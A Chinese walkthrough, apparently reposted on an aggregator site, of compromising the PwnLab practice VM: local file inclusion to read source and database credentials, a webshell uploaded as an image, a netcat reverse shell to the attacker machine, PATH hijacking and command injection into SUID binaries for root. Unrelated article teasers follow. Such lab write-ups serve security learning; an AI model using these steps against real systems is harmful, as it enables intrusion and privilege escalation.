当前位置： 首页 > news >正文

pwnlab通关流程

news 文章来源：https://blog.csdn.net/qq_18980147/article/details/129284443 2024/11/18 6:28:18

pwnlab通关

关于文件包含，环境变量劫持的一个靶场

信息收集

靶机ip：192.168.112.133

开放端口
在这里插入图片描述

根据开放的端口信息决定从80web端口入手

目录信息

在这里插入图片描述

在images和upload路径存在目录遍历，config.php被渲染无法查看，upload.php需要先登录才能访问，尝试先从登录login.php界面入手

渗透阶段

访问

http://192.168.112.133

在这里插入图片描述

点击login，路径变为

http://192.168.112.133/?page=login

在这里插入图片描述

再访问下login.php

http://192.168.112.133/login.php

在这里插入图片描述

很明显的文件包含，利用php文件流进行读取,再进行base64解码

index.php

http://192.168.112.133/?page=convert.base64-encode/resource=index

在这里插入图片描述

<?php
//Multilingual. Not implemented yet.
//setcookie("lang","en.lang.php");
if (isset($_COOKIE['lang']))
{include("lang/".$_COOKIE['lang']);
}
// Not implemented yet.
?>
<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>
<center>
<img src="images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
<hr/><br/>
<?phpif (isset($_GET['page'])){include($_GET['page'].".php");}else{echo "Use this server to upload and share image files inside the intranet";}
?>
</center>
</body>
</html>

config.php

http://192.168.112.133/?page=convert.base64-encode/resource=config

在这里插入图片描述

<?php
$server	  = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";
?>

upload.php

http://192.168.112.133/?page=convert.base64-encode/resource=upload

在这里插入图片描述

<?php
session_start();
if (!isset($_SESSION['user'])) { die('You must be log in.'); }
?>
<html><body><form action='' method='post' enctype='multipart/form-data'><input type='file' name='file' id='file' /><input type='submit' name='submit' value='Upload'/></form></body>
</html>
<?php 
if(isset($_POST['submit'])) {if ($_FILES['file']['error'] <= 0) {$filename  = $_FILES['file']['name'];$filetype  = $_FILES['file']['type'];$uploaddir = 'upload/';$file_ext  = strrchr($filename, '.');$imageinfo = getimagesize($_FILES['file']['tmp_name']);$whitelist = array(".jpg",".jpeg",".gif",".png"); if (!(in_array($file_ext, $whitelist))) {die('Not allowed extension, please upload images only.');}if(strpos($filetype,'image') === false) {die('Error 001');}if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {die('Error 002');}if(substr_count($filetype, '/')>1){die('Error 003');}$uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {echo "<img src=\"".$uploadfile."\"><br />";} else {die('Error 4');}}
}?>

在config.php中直接拿到了mysql的用户名密码，直接连接

在user表中拿到了3个用户及密码，密码经过base64加密

在这里插入图片描述

解密后

kent JWzXuBJJNy
mike SIfdsTEn6I
kane iSv5Ym2GRo

有了账号密码后直接在登录页面进行登录，登录后会显示文件上传界面

在这里插入图片描述

发包拦截，对upload.php进行代码审计发现经过了后缀白名单，mime类型等一些校验导致无法进行后缀绕过。只能上传图片马，想通过文件包含的方式getshell，但是在之前index.php页面中的include是这样的，如果包含的是xxx.jpg最后会被拼接成xxx.jpg.php文件不存在

if (isset($_GET['page'])){include($_GET['page'].".php");}

但在index.php中发现了另一个文件包含，可以利用Cookie进行getshell

if (isset($_COOKIE['lang']))
{include("lang/".$_COOKIE['lang']);
}

首先绕过检测上传图片马，得到路径

在这里插入图片描述

蚁剑连接，在header中设置cookie的lang字段

在这里插入图片描述

在这里插入图片描述

成功getshell

由于蚁剑是半交互式的，防止后面提权可能会用不了直接shell reverse到本机

这里采用nc工具，本机监听7777端口

nc -lvvp 7777

蚁剑窗口

nc -e /bin/bash 192.168.112.130 7777

反弹成功

在这里插入图片描述

进入交互式shell

python -c 'import pty;pty.spawn("/bin/bash");'

在这里插入图片描述

提权阶段

当前用户为www-data，查找当前用户可提权的suid命令

find / -perm -u=s -type f 2>/dev/null

在这里插入图片描述

没有可以利用的，切换用户kent没找到

su kent

切换mike，不让登录

su mike

在这里插入图片描述

登录kane

su kane

还是查找suid命令，在kane的用户目录下找到了一个可执行文件

在这里插入图片描述

cd到该目录下进行查看，是一个ELF文件

在这里插入图片描述

strings msgmike

在这里插入图片描述

在msgmike中发现了一条cat语句

cat /home/mike/msg.txt

我们利用环境变量进行劫持cat

在/home/kane目录下新建cat，给予执行权限，写入反弹，更改环境变量

touch cat
chmod +x cat
echo "/bin/sh" > cat
export PATH=/home/kane:$PATH

这样执行msgmike执行到cat语句会直接反弹到更高的权限

./msgmike

在这里插入图片描述

继续进入交互式shell

python -c 'import pty;pty.spawn("/bin/bash");'

在mike用户下查找可执行的suid命令，在mike用户下发现了一个msg2root的可执行文件

在这里插入图片描述

cd到该目录下

strings msg2root

在这里插入图片描述

在msg2root文件中发现了一条echo命令，%s是我们写入的字符串

/bin/echo %s >> /root/messages.txt

我们直接利用;分割反弹shell

;/bin/sh

首先运行msg2root

./msg2root

在这里插入图片描述

成功提权到root

cd到root目录下查看flag

在这里插入图片描述

相关文章：

pwnlab通关流程

pwnlab通关 关于文件包含&#xff0c;环境变量劫持的一个靶场 信息收集 靶机ip&#xff1a;192.168.112.133 开放端口 根据开放的端口信息决定从80web端口入手 目录信息 在images和upload路径存在目录遍历&#xff0c;config.php被渲染无法查看&#xff0c;upload.php需…...

编程日记 2023/3/2 1:59:50

面向过程与面向对象的区别与联系

目录 什么是面向过程 什么是面向对象 区别 各自的优缺点 什么是面向过程 面向过程是一种以事件为中心的编程思想&#xff0c;编程的时候把解决问题的步骤分析出来&#xff0c;然后用函数把这些步骤实现&#xff0c;在一步一步的具体步骤中再按顺序调用函数。 什么是面向对…...

编程日记 2023/3/2 1:58:42

主机状态（查看资源占用情况、查看网络占用情况）

1. 查看资源占用情况 【1】可以通过top命令查看cpu、内存的使用情况&#xff0c;类似windows的任务管理器 默认5s刷新一次 语法&#xff1a;top 可 Ctrl c 退出 2.磁盘信息监控 【1】使用df命令&#xff0c;查看磁盘信息占用情况 语法&#xff1a;df [ -h ] 以更加人性化…...

编程日记 2023/3/2 1:57:34

代码随想录算法训练营第四十一天 | 01背包问题-二维数组滚动数组，416. 分割等和子集

一、参考资料01背包问题 二维 https://programmercarl.com/%E8%83%8C%E5%8C%85%E7%90%86%E8%AE%BA%E5%9F%BA%E7%A1%8001%E8%83%8C%E5%8C%85-1.html 视频讲解&#xff1a;https://www.bilibili.com/video/BV1cg411g7Y6 01背包问题 一维 https://programmercarl.com/%E8%83%8C%E5…...

编程日记 2023/3/2 1:56:28

VMware NSX 4.1 发布 - 网络安全虚拟化平台

请访问原文链接&#xff1a;VMware NSX 4 - 网络安全虚拟化平台&#xff0c;查看最新版。原创作品&#xff0c;转载请保留出处。 作者主页&#xff1a;www.sysin.org VMware NSX 提供了一个敏捷式软件定义基础架构&#xff0c;用来构建云原生应用程序环境。NSX 专注于为具有异…...

编程日记 2023/3/2 1:55:20

计算理论 复杂度预备知识

文章目录计算理论 复杂度预备知识符号递归表达式求解通项公式主方法Akra-Bazzi 定理计算理论 复杂度预备知识 符号 f(n)o(g(n))f(n)o(g(n))f(n)o(g(n)) &#xff1a;∃c\exists c∃c &#xff0c;当 nnn 足够大时&#xff0c; f(n)<cg(n)f(n)\lt cg(n)f(n)<cg(n) &#…...

编程日记 2023/3/2 1:54:11

二叉树——二叉搜索树中的插入操作

二叉搜索树中的插入操作 链接 给定二叉搜索树&#xff08;BST&#xff09;的根节点 root 和要插入树中的值 value &#xff0c;将值插入二叉搜索树。 返回插入后二叉搜索树的根节点。 输入数据 保证 &#xff0c;新值和原始二叉搜索树中的任意节点值都不同。 注意&#xff0c…...

编程日记 2023/3/2 1:53:06

C# if break,if continue,if return的区别和使用

故事部分&#xff1a; 现在你肚子饿了&#xff0c;想要去&#xff1a; 1.吃个三菜一汤。 2.吃个蛋糕。 3.喝个奶茶。 结果&#xff0c;你吃饭的时候&#xff0c;吃到一个虫子。 你会有几种做法&#xff1f; 1.把有虫子这道菜拿走&#xff0c;继续吃下一道菜 。 2.算了&#xff…...

编程日记 2023/3/2 1:52:01

力扣-第二高的薪水

大家好&#xff0c;我是空空star&#xff0c;本篇带大家了解一道中等的力扣sql练习题。 文章目录前言一、题目&#xff1a;176. 第二高的薪水二、解题1.正确示范①提交SQL运行结果2.正确示范②提交SQL运行结果3.正确示范③提交SQL运行结果4.正确示范④提交SQL运行结果5.其他总结…...

编程日记 2023/3/2 1:50:55

I - 太阳轰炸(组合数学Cnk n固定)

2023河南省赛组队训练赛&#xff08;二&#xff09; - Virtual Judge (vjudge.net) 背景&#xff1a;阿塔尼斯&#xff0c;达拉姆的大主教&#xff0c;在艾尔又一次沦陷之后指挥着星灵的最后一艘方舟舰&#xff1a;亚顿之矛。作为艾尔星灵数千年来的智慧结晶&#xff0c;亚顿之…...

编程日记 2023/3/2 1:49:51

centos安装gitlab

更新系统 sudo yum -y update安装所需要的包 sudo yum -y install epel-release curl vim policycoreutils-python如果要安装并使用本地Postfix服务器发送通知&#xff0c;请安装Postfix&#xff0c;这里就不安装了&#xff1a; sudo yum -y install postfix安装后启动并启用…...

编程日记 2023/3/2 1:48:44

【洛谷 P1093】[NOIP2007 普及组] 奖学金 题解（结构体排序）

[NOIP2007 普及组] 奖学金 题目描述 某小学最近得到了一笔赞助&#xff0c;打算拿出其中一部分为学习成绩优秀的前 555 名学生发奖学金。期末&#xff0c;每个学生都有 333 门课的成绩:语文、数学、英语。先按总分从高到低排序&#xff0c;如果两个同学总分相同&#xff0c;再…...

编程日记 2023/3/2 1:47:37

【Hello Linux】进程优先级和环境变量

作者&#xff1a;小萌新 专栏&#xff1a;Linux 作者简介&#xff1a;大二学生 希望能和大家一起进步&#xff01; 本篇博客简介&#xff1a;简单介绍下进程的优先级 环境变量 进程优先级环境变量进程的优先级基本概念如何查看优先级PRI与NINI值的设置范围NI值如何修改修改方式…...

编程日记 2023/3/2 1:46:33

日期：Date，SimpleDateFormat常见API以及包装类

一.Date类 package com.gch.d1_date;import java.util.Date;/**目标:学会使用Date类处理时间,获取时间的信息*/ public class DateDemo1 {public static void main(String[] args) {// 1.创建一个Date类的对象:代表系统此刻日期时间对象Date d new Date();System.out.println(…...

编程日记 2023/3/2 1:45:29

嵌入式之ubuntu终端操作与shell常用命令详解

目录 文件和目录列表 基本列表功能 显示列表长度 过滤输出列表 浏览文件系统 Linux 文件系统 遍历目录 处理文件 创建文件 复制文件 制表键自动补全 重命名文件 删除文件 处理目录 创建目录 删除目录 ​编辑其他常用命令与操作 Uname命令 clear命令 返回上一级命令 显…...

编程日记 2023/3/2 1:44:20

【Shell学习笔记】6.Shell 流程控制

前言 本章介绍Shell的流程控制。 Shell 流程控制 和 Java、PHP 等语言不一样&#xff0c;sh 的流程控制不可为空&#xff0c;如(以下为 PHP 流程控制写法)&#xff1a; 实例 <?php if (isset($_GET["q"])) {search(q); } else {// 不做任何事情 }在 sh/bash…...

编程日记 2023/3/2 1:43:14

27k入职阿里测开岗那天，我哭了，这5个月付出的一切总算没有白费~

先说一下自己的个人情况&#xff0c;计算机专业&#xff0c;16年普通二本学校毕业&#xff0c;经历过一些失败的工作经历后&#xff0c;经推荐就进入了华为的测试岗&#xff0c;进去才知道是接了个外包项目&#xff0c;不太稳定的样子&#xff0c;可是刚毕业谁知道什么外包不外…...

编程日记 2023/3/2 1:42:08

服务端开发之Java备战秋招面试篇5

努力了那么多年,回头一望,几乎全是漫长的挫折和煎熬。对于大多数人的一生来说,顺风顺水只是偶尔,挫折、不堪、焦虑和迷茫才是主旋律。我们登上并非我们所选择的舞台,演出并非我们所选择的剧本。继续加油吧&#xff01; 目录 1.ArrayList与LinkedList区别&#xff0c; 应用场景…...

编程日记 2023/3/2 1:41:02

有趣的 Kotlin 0x11: joinToString，你真的了解嘛？

前言 之前使用 joinToString 函数也就是用逗号连接集合元素形成字符串&#xff0c;也没有细看它的参数&#xff0c;但是今天和 ChatGPT 聊天时&#xff0c;发现它给我输出了诸多内容。 joinToString joinToString()是Kotlin中一个非常有用的函数&#xff0c;它可以将集合的元…...

编程日记 2023/3/2 1:39:56

代码随想录算法训练营day46 | 动态规划之背包问题 139.单词拆分

day46139.单词拆分1.确定dp数组以及下标的含义2.确定递推公式3.dp数组如何初始化4.确定遍历顺序5.举例推导dp[i]139.单词拆分 题目链接 解题思路&#xff1a;单词就是物品&#xff0c;字符串s就是背包&#xff0c;单词能否组成字符串s&#xff0c;就是问物品能不能把背包装满。…...

编程日记 2023/3/2 1:38:49

DPDK中的无锁共享数据结构

目录背景解决方法共享内存无锁操作新/老共享数据结构rte_ringrefcnt延迟释放方法1&#xff1a;读的线程来释放方法2&#xff1a;释放线程等到读线程轮询一轮参考背景 dpvs多线程&#xff0c;如何做到节约内存、高性能之间的均衡。 解决方法 共享内存 多线程共享内存&#x…...

编程日记 2023/3/2 1:37:42

【使用两个栈实现队列】

文章目录一、栈和队列的基本特点二、基本接口函数的实现1.栈的接口2.创建队列骨架3.入队操作4.取出队列元素5.返回队首元素6.判断队列是否为空7.销毁队列总结一、栈和队列的基本特点 栈的特点是后进先出&#xff0c;而队列的特点是先进先出。 使用两个栈实现队列&#xff0c;必…...

编程日记 2023/3/2 1:35:33

web，h5海康视频接入监控视频流记录一

项目需求&#xff0c;web端实现海康监控视频对接接入&#xff0c;需实现实时预览&#xff0c;云台功能&#xff0c;回放功能。 web端要播放视频&#xff0c;有三种方式&#xff0c;一种是装浏览器装插件&#xff0c;一种是装客户端exe&#xff0c;还有就是无插件了。浏览器装插…...

编程日记 2023/3/2 1:34:29

做毕业设计，前端部分你需要掌握的6个核心技能

其实前端新手如果想要自己实现一套毕业设计项目并非简单的事&#xff0c;因为之前很多人一直还停留在知识点的阶段&#xff0c;而且管理系统和C端网站都需要开发&#xff0c;但现在需要点连成线了。所以在启动项目开发之前呢&#xff0c;针对前端部分&#xff0c;我列举一些非常…...

编程日记 2023/3/2 1:33:23

Read book Netty in action(Chapter VIII)--EventLoop and thread model

前言 简单地说&#xff0c;线程模型指定了操作系统、编程语言、框架或者应用程序的上下文中的线程管理的关键方面。显而易见地&#xff0c;如何以及何时创建线程将对应用程序代码的执行产生显著的影响&#xff0c;因此开发人员需要理解与不同模型相关的权衡。无论是他们自己选…...

编程日记 2023/3/2 1:32:14

番外11：使用ADS对射频功率放大器进行非线性测试3（使用带宽5MHz的WCDMA信号进行ACLR测试）

番外11&#xff1a;使用ADS对射频功率放大器进行非线性测试3&#xff08;使用带宽5MHz的WCDMA信号进行ACLR测试&#xff09; 其他测试&#xff1a; 番外9&#xff1a;使用ADS对射频功率放大器进行非线性测试1&#xff08;以IMD3测试为例&#xff09; 番外10&#xff1a;使用AD…...

编程日记 2023/3/2 1:31:06

Linux libpqxx 库安装及使用

记录一下linux安装 libpqxx遇到的一些问题 1.准备安装包&#xff1a; 1.准备安装包&#xff0c;以libpqxx-4.0.1.tar.gz为例子 链接如下&#xff1a;https://launchpad.net/libpqxx/milestone/4.0.1 2.上传并安装 上传到安装目录并安装&#xff0c;我是放到/use/local下面 c…...

编程日记 2023/3/2 1:30:01

如何使用COM-Hunter检测持久化COM劫持漏洞

关于COM-Hunter COM- Hunter是一款针对持久化COM劫持漏洞的安全检测工具&#xff0c;该工具基于C#语言开发&#xff0c;可以帮助广大研究人员通过持久化COM劫持技术来检测目标应用程序的安全性。 关于COM劫持 微软在Windows 3.11中引入了(Component Object Model, COM)&…...

编程日记 2023/3/2 1:28:49

Cartesi 举办的2023 黑客马拉松

Cartesi 是具有 Linux 运行时的特定于应用程序的Rollups执行层。Cartesi 的特定应用程序 Optimistic Rollup 框架使区块链堆栈足够强大&#xff0c;开发人员可以构建计算密集型和以前不可能的去中心化实例。Cartesi 的 RISC-V 虚拟机支持 Linux 运行时环境&#xff0c;允许像你…...

编程日记 2023/3/2 1:27:44

架构篇--代码质量手册

目前团队缺少SA&#xff08;研发经理&#xff09;的角色&#xff0c;大家代码写的有点随意&#xff0c;老板让我写一份开发手册。嗯&#xff01;&#xff01;&#xff01;当时我稍微纠结了一下&#xff0c;感觉这个似乎不是我的工作范畴&#xff0c;但是本着"我就是块砖&a…...

编程日记 2023/3/2 1:26:36

网站开发合同范本/谷歌浏览器下载电脑版

在一个服务内的业务处理通常需要不同类的共同协作来完成&#xff0c;比如controller接收请求&#xff0c;校验参数&#xff0c;然后调用service类的业务处理方法&#xff0c;而service又需要调用持久层的方法来读取和写入数据&#xff0c;为了在日志中&#xff0c;将各个部分的…...

编程日记 2024/11/18 6:25:37

福州网签查询系统/网络推广与优化

我在国庆期间将公司的oracle 8i数据库升级到10G 64,升级完成之后发现Sysaux Tablespace 的Datafile竟然没有.原来是我在升成Control File时用的Datafile list是我在升级之前导出来的,没有将升级过程中生成的新的Tablespace Sysaux 的Datafile加进List中去造成的.我在之前的多次…...

编程日记 2024/11/18 5:23:42

分销平台网站建设桂林/微信广告投放平台

1、安装cron工具&#xff1a;apt-getinstall cron 2、开启定时任务&#xff1a;crontab –e 定时任务语句格式为&#xff1a;执行周期命令。 周期有5个域&#xff0c;分别是分&#xff0c;时&#xff0c;日(day of month)&#xff0c;月&#xff08;month of year&#xff09;&…...

编程日记 2024/11/18 5:20:40

电子商务网站推广方法和技巧/广州推广引流公司

兰州计算机学校排行情况得到了很多学生和家长的关注。我国计算机事业飞速发展&#xff0c;特别是在最近几年的计算机发展都是我们有目共睹和亲身体验的。伴随着网络时代的发展&#xff0c;计算机行业急需热门专业的人才也是受到现在初高中应往届毕业生的亲睐。下文3721职校网就…...

编程日记 2024/11/18 4:28:40

从网址怎么看网站的域名/品牌设计公司

这几天做了下美团校招的一些套题。(只写了编程&#xff0c;这两天慢慢更新吧)这套题还是蛮简单的。。我暴力了好几个都能过。一个小时多一点差不多能写完。4、棋子翻转题意&#xff1a;在4*4的棋盘上摆满了黑白棋子&#xff0c;黑白两色的位置和数目随机其中左上角坐标为(1,1),…...

编程日记 2024/11/18 4:20:32

成都免费建站模板/中国经济网人事

2.5.3二维数组数据类型 数组名[第一维][第二维];二维数组在定义的时候进行初始化&#xff0c;二维数组在初始化的时候&#xff0c;需要按照第一维顺序依次用大括号给出第二维初始化的情况&#xff0c;然后将他们用逗号分隔并且用大括号全部括住&#xff0c;而在这些被赋予初值的…...

编程日记 2024/11/18 3:35:04